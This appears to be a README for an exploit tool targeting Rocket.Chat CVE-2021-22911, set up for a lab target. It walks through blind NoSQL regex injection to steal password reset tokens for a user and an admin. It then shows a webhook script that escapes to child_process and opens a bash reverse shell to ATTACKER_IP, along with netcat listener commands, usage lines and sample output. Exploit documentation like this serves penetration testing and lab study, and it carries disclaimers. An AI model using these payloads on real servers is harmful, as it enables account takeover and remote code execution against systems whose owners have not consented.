Rocket.Chat CVE-2021-22911 Exploit

⚠️ DISCLAIMER - EDUCATIONAL USE ONLY

This exploit is for authorized penetration testing and educational purposes only. Unauthorized access to computer systems is illegal. The author is not responsible for any misuse.

📋 Overview

CVE-2021-22911 is a critical unauthenticated NoSQL injection vulnerability in Rocket.Chat that leads to Remote Code Execution (RCE).

• CVSS Score: 9.8 (Critical)
• Affected Versions: Rocket.Chat < 3.12.7
• Attack Vector: Network / Unauthenticated
• Impact: Complete system compromise

🎯 Vulnerability Details

This exploit chains three NoSQL injection attacks:

Phase 1: Low-Privilege User Password Reset

• Sends forgot password request for a low-privilege user
• Uses blind NoSQL injection with $regex operator to extract the password reset token character-by-character
• Resets the password to a known value

Phase 2: Admin Password Reset

• Repeats Phase 1 but targets the admin account
• Extracts admin password reset token via blind NoSQL injection
• Changes admin password

Phase 3: Remote Code Execution

• Authenticates as the compromised admin account
• Creates a webhook integration with JavaScript payload
• Payload uses Node.js child_process.exec() to spawn reverse shell
• Triggers webhook to execute reverse shell

🛠️ Prerequisites

pip install requests

🚀 Usage

1. Start Netcat Listener (Terminal 1)

nc -lvnp 4444

2. Run the Exploit (Terminal 2)

Manual IP entry:

python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i 10.9.0.1 \
  -p 4444

Auto-detect tun0 IP (Recommended):
python3 rocket_chat_exploit.py \
  -u [email protected] \
  -a [email protected] \
  -t http://chat.rocket.thm \
  -i $(ip a show tun0 | grep "inet " | awk '{print $2}' | cut -d/ -f1) \
  -p 4444

**Arguments:**
- `-u`: Low-privilege user email (must exist)
- `-a`: Administrator email
- `-t`: Target URL (Rocket.Chat instance)
- `-i`: Your attacker IP (tun0)
- `-p`: Netcat listener port

### Example Output

============================================================ Rocket.Chat CVE-2021-22911 — RCE Target : http://chat.rocket.thm Shell : 10.9.0.1:4444

[PHASE 1] Low-priv user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Token: aBcDeFgHiJkLmNoPqRsTuVwXyZ1234567890abcd [+] Password changed to: P@$$w0rd!1234

[PHASE 2] Admin user → [email protected] [+] Password reset email sent → [email protected] [*] Extracting reset token via blind NoSQL injection... [43/43] XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Token: XyZ9876543210aBcDeFgHiJkLmNoPqRsTuVwXyZ [+] Password changed to: P@$$w0rd!1234

[PHASE 3] RCE [!] Start your listener now: nc -lvnp 4444 [] Press Enter when nc is ready... [+] Authenticated as [email protected] userid : userid123456789 token : token123456... [+] Webhook created http://chat.rocket.thm/hooks/hookid123/token456 [] Triggering reverse shell... [+] Trigger sent — check your nc listener

## 🔍 Technical Details

### NoSQL Injection Payload Format
```json
{
  "message": {
    "msg": "method",
    "method": "getPasswordPolicy",
    "params": [
      {
        "token": {
          "$regex": "^abc"
        }
      }
    ]
  }
}

RCE Payload (Webhook Script)

class Script {
  process_incoming_request({ request }) {
    const require = console.log.constructor('return process.mainModule.require')();
    const { exec } = require('child_process');
    exec('bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"');
  }
}

📚 References

• Original Exploit: enox - Exploit-DB 50078, 50108
• Vulnerability Analysis: SonarSource Blog
• CVE Details: CVE-2021-22911

📝 Credits

• enox - Original exploit development
• SonarSource - Vulnerability research and analysis

⚖️ Legal Notice

This tool is provided for educational purposes and authorized security testing only. Unauthorized access to computer systems is a criminal offense under the Computer Fraud and Abuse Act (CFAA) and similar international laws.

Use responsibly. Only test systems you own or have explicit written permission to test.